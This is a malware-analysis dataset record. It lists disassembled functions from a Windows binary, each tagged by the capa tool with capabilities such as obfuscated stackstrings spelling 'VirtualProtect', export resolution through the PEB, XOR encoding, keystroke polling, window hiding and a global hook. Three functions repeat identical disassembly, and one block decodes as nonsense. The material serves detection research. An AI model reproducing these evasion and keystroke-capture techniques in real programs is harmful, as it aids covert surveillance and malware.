joyce8/EMBER2024-capa huggingface dataset:
Function at 0x513785
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add esp, 4
and ebx, 0x74dc
pop ebx
push esi
push eax
add esp, 4
sub esi, 0x139e7
pop esi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
push ecx
add esp, 4
add ecx, 0x16582
pop ecx
push ebx
push edi
add esp, 4
or ebx, 0x17ce0
add ebx, 0x7103
jmp 0x513829
pop ebx
push esi
push esi
add esp, 4
or esi, 0x35c8
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
xor esi, 0x904
sub esi, 0x15235
and esi, 0xfd2a
call 0x51387f
add byte [edx], dh
xor cl, byte [esi + 0x42]
inc eax
cmp byte [ecx], bh
aaa
dec eax
add esp, 4
pop esi
push edx
push edi
add esp, 4
add edx, 0xfda1
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x5138a7
mov dword [ebp - 0x2a8], 0
jmp 0x513b4e
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
sub ebx, 0x13984
pop ebx
push eax
push edi
add esp, 4
or eax, 0x17917
pop eax
push edi
push ecx
add esp, 4
xor edi, 0x3ad6
call 0x5138e7
add byte [eax], bh
cmp eax, dword [ecx + 0x3b]
cmp dword [edx], esi
aas
inc ebp
dec edi
add esp, 4
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x513903
mov dword [ebp - 0x2a8], 0
jmp 0x513b4e
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
Function at 0x51387f
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and ebx, 0x74dc
pop ebx
push esi
push eax
add esp, 4
sub esi, 0x139e7
pop esi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
push ecx
add esp, 4
add ecx, 0x16582
pop ecx
push ebx
push edi
add esp, 4
or ebx, 0x17ce0
add ebx, 0x7103
jmp 0x513829
pop ebx
push esi
push esi
add esp, 4
or esi, 0x35c8
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
xor esi, 0x904
sub esi, 0x15235
and esi, 0xfd2a
call 0x51387f
add byte [edx], dh
xor cl, byte [esi + 0x42]
inc eax
cmp byte [ecx], bh
aaa
dec eax
add esp, 4
pop esi
push edx
push edi
add esp, 4
add edx, 0xfda1
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x5138a7
mov dword [ebp - 0x2a8], 0
jmp 0x513b4e
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
sub ebx, 0x13984
pop ebx
push eax
push edi
add esp, 4
or eax, 0x17917
pop eax
push edi
push ecx
add esp, 4
xor edi, 0x3ad6
call 0x5138e7
add byte [eax], bh
cmp eax, dword [ecx + 0x3b]
cmp dword [edx], esi
aas
inc ebp
dec edi
add esp, 4
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x513903
mov dword [ebp - 0x2a8], 0
jmp 0x513b4e
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
Function at 0x5138e7
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and ebx, 0x74dc
pop ebx
push esi
push eax
add esp, 4
sub esi, 0x139e7
pop esi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
push ecx
add esp, 4
add ecx, 0x16582
pop ecx
push ebx
push edi
add esp, 4
or ebx, 0x17ce0
add ebx, 0x7103
jmp 0x513829
pop ebx
push esi
push esi
add esp, 4
or esi, 0x35c8
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
xor esi, 0x904
sub esi, 0x15235
and esi, 0xfd2a
call 0x51387f
add byte [edx], dh
xor cl, byte [esi + 0x42]
inc eax
cmp byte [ecx], bh
aaa
dec eax
add esp, 4
pop esi
push edx
push edi
add esp, 4
add edx, 0xfda1
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x5138a7
mov dword [ebp - 0x2a8], 0
jmp 0x513b4e
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
sub ebx, 0x13984
pop ebx
push eax
push edi
add esp, 4
or eax, 0x17917
pop eax
push edi
push ecx
add esp, 4
xor edi, 0x3ad6
call 0x5138e7
add byte [eax], bh
cmp eax, dword [ecx + 0x3b]
cmp dword [edx], esi
aas
inc ebp
dec edi
add esp, 4
pop edi
cmp dword [ebp - 0xc4c], 0
jne 0x513903
mov dword [ebp - 0x2a8], 0
jmp 0x513b4e
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
Function at 0x51b46c
Capabilities:
Encode data using xor

Disassembly:
xchg ebx, eax
dec eax
add al, 3
test dl, bh
dec edi
imul eax, dword [ebx], 0x56546203
xchg bh, al
pop es
test ah, cl
ficomp dword [ecx]
add eax, dword [ebx]
test ah, ch
insb byte es:[edi], dx
inc ecx
add al, 3
pop esp
mov cs, word [eax + 0x202e3e7]
mov word [eax + 0x202f8c3], cs
pop edx
push esi
xchg bh, al
pop es
test dl, bh
mov dword [0x620303c0], eax
push esi
jmp 0x51b4af
xchg bh, al
pop es
test dh, ch
dec esp
inc esp
add al, 3
test dh, cl
ja 0x51b52a
add al, 3
pop esi
pop ecx
test cl, bh
and eax, 0x61030422
mov ss, word [bx + si]
sbb eax, dword [ebx]
add eax, dword [ebx]
mov word [eax + 0x202e8df], ss
mov ds, word [eax + 0x202e8df]
mov es, word [ebp + 0x33]
mov word [eax + 0x202e8db], cs
mov ss, word [eax + 0x202e8db]
mov word [eax + 0x202f17f], ss
push esi
push ebx
xchg bh, al
pop es
test dh, ch
test al, 0xb4
add eax, dword [ebx]
test dh, al
sbb edi, dword [edi - 0x397bfcfd]
sbb al, 3
add eax, dword [esi + ebp*8 + 0x303d37d]
pop esi
push esp
test ah, ch
aaa
pop edx
add eax, dword [ebx]
test ah, al
add dword [edx + 4], 0x56ec8403
xor eax, dword [ebx]
add ebx, dword [esi + eax*4 - 0x40]
jg 0x51b516
add al, byte [edx]
add edi, dword [eax + 0x12]
retf 0x5388

Function at 0x5317dc
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
push edi
push ecx
mov byte [esp], cl
mov ebx, edx
mov esi, eax
mov eax, esi
mov edx, 0xffffffec
push edx
push eax
call sub.user32.dll_GetWindowLongW
mov edi, eax
test bl, bl
je 0x531803
test edi, 0x40000
je 0x53181d
test bl, bl
jne 0x5318ac
mov eax, 0x40000
and eax, edi
cmp eax, 0x40000
jne 0x5318ac
push esi
call sub.user32.dll_IsIconic
cmp eax, 1
sbb eax, eax
inc eax
mov byte [esp + 2], al
push esi
call sub.user32.dll_IsWindowVisible
cmp eax, 1
sbb eax, eax
inc eax
mov byte [esp + 1], al
movzx eax, byte [esp + 1]
or al, byte [esp + 2]
je 0x531850
push 0
push esi
call sub.user32.dll_ShowWindow
test bl, bl
je 0x53186c
mov eax, esi
mov edx, 0xffffffec
mov ecx, 0x40000
or ecx, edi
push ecx
push edx
push eax
call sub.user32.dll_SetWindowLongW
jmp 0x531882
mov eax, esi
mov edx, 0xffffffec
mov ecx, 0xfffbffff
and ecx, edi
push ecx
push edx
push eax
call sub.user32.dll_SetWindowLongW
movzx eax, byte [esp]
and al, byte [esp + 1]
jne 0x531893
cmp byte [esp + 2], 0
je 0x5318ac
cmp byte [esp + 2], 0
je 0x5318a4
push 6
push esi
call sub.user32.dll_ShowWindow
jmp 0x5318ac
push 5
push esi
call sub.user32.dll_ShowWindow
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x531b60
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
call sub.user32.dll_GetActiveWindow
mov dword [esp], eax
mov byte [esp + 4], 0
test bl, bl
je 0x531b86
mov eax, esp
push eax
push 0x531b28
call sub.user32.dll_EnumWindows
jmp 0x531b99
mov eax, esp
push eax
push 0x531b08
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
call sub.user32.dll_EnumThreadWindows
movzx eax, byte [esp + 4]
pop ecx
pop edx
pop ebx
ret
Function at 0x531c5c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov ebx, eax
movzx esi, word [0x531cac]
test bl, 4
je 0x531c70
or si, 1
test bl, 8
je 0x531c79
or si, 4
test bl, 1
je 0x531c82
or si, 8
test bl, 2
je 0x531c8b
or si, 0x10
test bl, 0x10
je 0x531c94
or si, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x531ca4
or si, 2
mov eax, esi
pop esi
pop ebx
ret

Function at 0x531cb0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
movzx ebx, word [0x531cec]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x531ccb
or bx, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x531cdb
or bx, 4
test esi, 0x20000000
je 0x531ce7
or bx, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x531d40
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
add esp, 0xffffff00
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.00531cf0
mov ebx, eax
mov eax, ebx
add esp, 0x100
pop ebx
ret
Function at 0x53aad0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x53aae2
add esp, 0xfffffff0
call fcn.0040579c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0045957c
mov eax, dword [0x6ff3fc]
mov dword [eax + 4], ebx
mov dword [eax], 0x53af10
mov eax, dword [0x6ff414]
mov dword [eax + 4], ebx
mov dword [eax], 0x53af1c
mov eax, ebx
call fcn.0053af28
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x44], eax
mov dl, 1
mov eax, dword [0x43ad78]
call fcn.00405160
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x43ad78]
call fcn.00405160
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x43ad78]
call fcn.00405160
mov dword [ebx + 0x5c], eax
mov dl, 1
mov eax, dword [0x43ad78]
call fcn.00405160
mov dword [ebx + 0x60], eax
mov dl, 1
mov eax, dword [0x43ad78]
call fcn.00405160
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call fcn.0040ed98
mov dword [ebx + 0x48], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x60]
push eax
mov eax, 0x53588c
push eax
push 0
push 0
call sub.user32.dll_EnumDisplayMonitors
mov dl, 1
mov eax, dword [0x46afac]
call fcn.00471308
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x46afac]
call fcn.00471308
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x46afac]
call fcn.00471308
mov dword [ebx + 0x80], eax
mov dl, 1
mov eax, dword [0x46afac]
call fcn.00471308
mov dword [ebx + 0x8c], eax
mov dl, 1
mov eax, dword [0x46afac]
call fcn.00471308
mov dword [ebx + 0x90], eax
mov eax, ebx
call fcn.0053b520
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x53b33c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x53b33c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x53b33c
mov eax, dword [ebx + 0x8c]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x53b33c
mov eax, dword [ebx + 0x90]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x53b33c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x53ac5f
call fcn.004057f4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x53b0dc
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc60
push ebx
xor edx, edx
mov dword [ebp - 0x3a0], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x53b287
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x3c], 0
jne 0x53b268
mov dl, 1
mov eax, dword [0x43e6c0]
call fcn.0044d978
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 4]
add eax, 0x40
call fcn.00406e34
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x53b257
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004aabfc
test al, al
je 0x53b24a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x39c], eax
mov byte [ebp - 0x398], 0
lea ecx, [ebp - 0x39c]
mov edx, 0x53b298
lea eax, [ebp - 0x394]
call fcn.0042122c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW_1
test eax, eax
jne 0x53b24a
xor eax, eax
push ebp
push 0x53b243
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x200
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push 0x53b308
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x53b22c
lea eax, [ebp - 0x3a0]
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.00407d00
mov edx, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x44]
jne 0x53b22c
mov eax, dword [ebp - 4]
add eax, 0x40
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.00407d00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53b24a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x53b14d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov byte [eax + 0x39], 0
mov dl, 1
call fcn.0044d8b4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x3c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53b28e
lea eax, [ebp - 0x3a0]
call fcn.00406e34
ret

Function at 0x53be40
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x705318]
cmp byte [eax + 0xb1], 0
jne 0x53beb2
cmp dword [0x705338], 0
jne 0x53be72
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, dword [0x6fd21c]
push eax
push 3
call sub.user32.dll_SetWindowsHookExW
mov dword [0x705338], eax
cmp dword [0x705334], 0
jne 0x53be8d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventW
mov dword [0x705334], eax
cmp dword [0x70533c], 0
jne 0x53beb2
push esp
push 0
push 0
mov eax, dword [0x6fd218]
push eax
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x70533c], eax
pop edx
ret
Function at 0x53c1cc
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
test dl, dl
je 0x53c1e3
add esp, 0xfffffff0
call fcn.0040579c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0045957c
mov eax, dword [0x6ff1c8]
cmp byte [eax], 0
jne 0x53c210
push 0
call sub.ole32.dll_OleInitialize
test eax, 0x80000000
sete al
mov byte [ebx + 0x184], al
mov eax, dword [0x6ff6ec]
cmp word [eax + 2], 0
jne 0x53c22a
mov eax, dword [0x6ff6ec]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0053e3c0
mov eax, dword [0x6ff8c8]
cmp word [eax + 2], 0
jne 0x53c244
mov eax, dword [0x6ff8c8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0053e5c4
mov byte [ebx + 0x39], 0
mov dl, 1
mov eax, dword [0x46afac]
call fcn.00471308
mov esi, eax
mov dword [ebx + 0x40], esi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x53eb3c
mov dl, 1
mov eax, dword [0x43ad78]
call fcn.00405160
mov dword [ebx + 0x94], eax
mov dl, 1
mov eax, dword [0x43ad78]
call fcn.00405160
mov dword [ebx + 0xb4], eax
xor eax, eax
mov dword [ebx + 0x64], eax
xor eax, eax
mov dword [ebx + 0x88], eax
mov dword [ebx + 0x60], 0xff000018
mov dword [ebx + 0x7c], 0x1f4
mov byte [ebx + 0x80], 1
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x78], 0x9c4
mov byte [ebx + 0x8c], 0
mov byte [ebx + 0xa9], 1
mov byte [ebx + 0xc0], 1
mov dl, 1
mov eax, dword [0x46fa44]
call fcn.0047ac84
mov esi, eax
mov dword [ebx + 0xa4], esi
push 0x53c428
mov eax, dword [0x6ff4f0]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconW
mov edx, eax
mov eax, esi
call fcn.0047b114
mov eax, dword [ebx + 0xa4]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x53ee24
mov dl, 1
mov eax, dword [0x43ad78]
call fcn.00405160
mov dword [ebx + 0x9c], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x202]
push eax
mov eax, dword [0x6ff4f0]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameW_1
lea eax, [ebp - 0x202]
mov dx, 0x5c
call fcn.0042102c
test eax, eax
je 0x53c358
lea edx, [eax + 2]
lea eax, [ebp - 0x202]
call fcn.00420dc4
lea eax, [ebp - 0x202]
mov dx, 0x2e
call fcn.00421010
test eax, eax
je 0x53c370
mov word [eax], 0
lea eax, [ebp - 0x202]
push eax
call sub.user32.dll_CharNextW_1
push eax
call sub.user32.dll_CharLowerW
lea eax, [ebx + 0x90]
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.00407d00
push ebx
push 0x53dd98
call fcn.00531c40
mov dword [ebx + 0x180], eax
mov byte [ebx + 0xd4], 0
mov eax, dword [0x6ff1c8]
cmp byte [eax], 0
jne 0x53c3c1
mov eax, ebx
call fcn.0053c5e8
mov byte [ebx + 0x5d], 1
mov byte [ebx + 0x5e], 1
mov byte [ebx + 0x5f], 1
mov byte [ebx + 0xaa], 1
mov byte [ebx + 0xd5], 0
mov byte [ebx + 0xe0], 0
xor eax, eax
mov dword [ebx + 0xd8], eax
mov byte [ebx + 0xd7], 0
xor eax, eax
mov dword [ebx + 0xac], eax
mov eax, ebx
call fcn.0053f06c
mov eax, ebx
call fcn.0053fc98
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x53c41e
call fcn.004057f4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x53c920
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x178]
test eax, eax
je 0x53c9cc
cmp dword [ebx + 0x98], 0
jne 0x53c9c6
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x53c858
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x94]
cmp dword [eax + 8], 0
je 0x53c9c6
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
mov eax, esi
mov edx, 0xffffffec
push edx
push eax
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x53c98c
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x94]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x53c9c6
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x94]
call fcn.0044924c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x53c99b
inc dword [ebx + 0x98]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x53cbec
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x705318]
cmp dword [eax + 0x178], 0
je 0x53cd51
test bl, bl
jne 0x53cc9f
cmp dword [esi + 0xa0], 0
jne 0x53cc94
mov eax, esi
call fcn.0053fae8
push eax
push 0x53caf8
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x48], 0
je 0x53cc65
mov eax, dword [0x705318]
cmp byte [eax + 0xd7], 0
je 0x53cc65
mov eax, dword [esi + 0xdc]
call fcn.0040907c
mov edi, eax
cmp edi, 0
jl 0x53cc65
push 0
mov eax, dword [esi + 0xdc]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x53cc4e
mov eax, dword [esi + 0x9c]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x53cc94
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x9c]
call fcn.0044924c
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x53cc74
inc dword [esi + 0xa0]
jmp 0x53cd51
cmp dword [esi + 0xa0], 0
jle 0x53cd51
dec dword [esi + 0xa0]
cmp dword [esi + 0xa0], 0
jne 0x53cd51
cmp dword [esi + 0x48], 0
je 0x53ccfc
mov eax, dword [0x705318]
cmp byte [eax + 0xd7], 0
je 0x53ccfc
mov eax, dword [esi + 0xdc]
call fcn.0040907c
mov edi, eax
cmp edi, 0
jl 0x53ccfc
push 5
mov eax, dword [esi + 0xdc]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x53cce5
mov eax, dword [esi + 0x9c]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x53cd2b
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x9c]
call fcn.0044924c
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x53cd0b
mov eax, dword [esi + 0x9c]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xdc]
mov ecx, 1
mov edx, dword [0x52e4b0]
call fcn.00409228
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x53d9a4
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xb0], 0
je 0x53da0f
cmp byte [ebx + 0xd7], 0
jne 0x53da0f
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x178]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00406fbc
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x53d9fc
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x53da1c
mov eax, esi
mov edx, dword [ebx + 0x90]
call fcn.00407214
jmp 0x53da1c
mov eax, esi
mov edx, dword [ebx + 0x90]
call fcn.00407214
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x53f254
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x88]
test esi, esi
je 0x53f2c2
mov eax, esi
call fcn.004a4bd4
test al, al
je 0x53f2c2
mov eax, dword [ebx + 0x88]
call fcn.004a4820
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x53f2c2
mov eax, dword [ebx + 0x88]
mov edx, dword [eax]
call dword [edx + 0x108]
test al, al
je 0x53f2b6
push 0
mov eax, dword [ebx + 0x88]
call fcn.004a4820
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x88]
call fcn.0049b63c
jmp 0x53f2c2
mov cl, 1
mov edx, dword [ebx + 0x78]
mov eax, ebx
call fcn.0053f08c
pop esi
pop ebx
ret
Function at 0x57bfd8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
or ecx, 0xffffffff
dec edx
test edx, edx
jl 0x57c001
inc edx
movzx ebx, byte [eax]
mov esi, 0xff
and esi, ecx
xor ebx, esi
mov ebx, dword [ebx*4 + 0x6fd468]
shr ecx, 8
xor ebx, ecx
mov ecx, ebx
inc eax
dec edx
jne 0x57bfe3
not ecx
mov eax, ecx
pop esi
pop ebx
ret

Function at 0x5875c4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
mov byte [ebp - 1], 0
push 0x40
mov ecx, eax
mov dl, 1
mov eax, dword [0x43f60c]
call fcn.0044e40c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x5876c6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx]
cmp edx, 0
jne 0x587605
cmp eax, 0x1000
jae 0x587611
jmp 0x587607
jge 0x587611
call fcn.00406604
jmp 0x5876cd
lea edx, [ebp - 0x4c]
mov ecx, 0x40
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, dword [ebp - 0x10]
cmp ebx, 0x40
jl 0x587650
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, ebx
cdq
cmp edx, dword [esp + 4]
jne 0x587644
cmp eax, dword [esp]
pop edx
pop eax
ja 0x587650
jmp 0x587648
pop edx
pop eax
jg 0x587650
cmp word [ebp - 0x4c], 0x5a4d
je 0x587657
call fcn.00406604
jmp 0x5876cd
xor ecx, ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, dword [ebp - 0xc]
call fcn.0044da1c
add eax, 4
adc edx, 0
cmp edx, dword [esp + 4]
jne 0x58768a
cmp eax, dword [esp]
pop edx
pop eax
jbe 0x587695
jmp 0x58768e
pop edx
pop eax
jle 0x587695
call fcn.00406604
jmp 0x5876cd
lea edx, [ebp - 8]
mov ecx, 4
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 8], 0x4550
sete byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5876cd
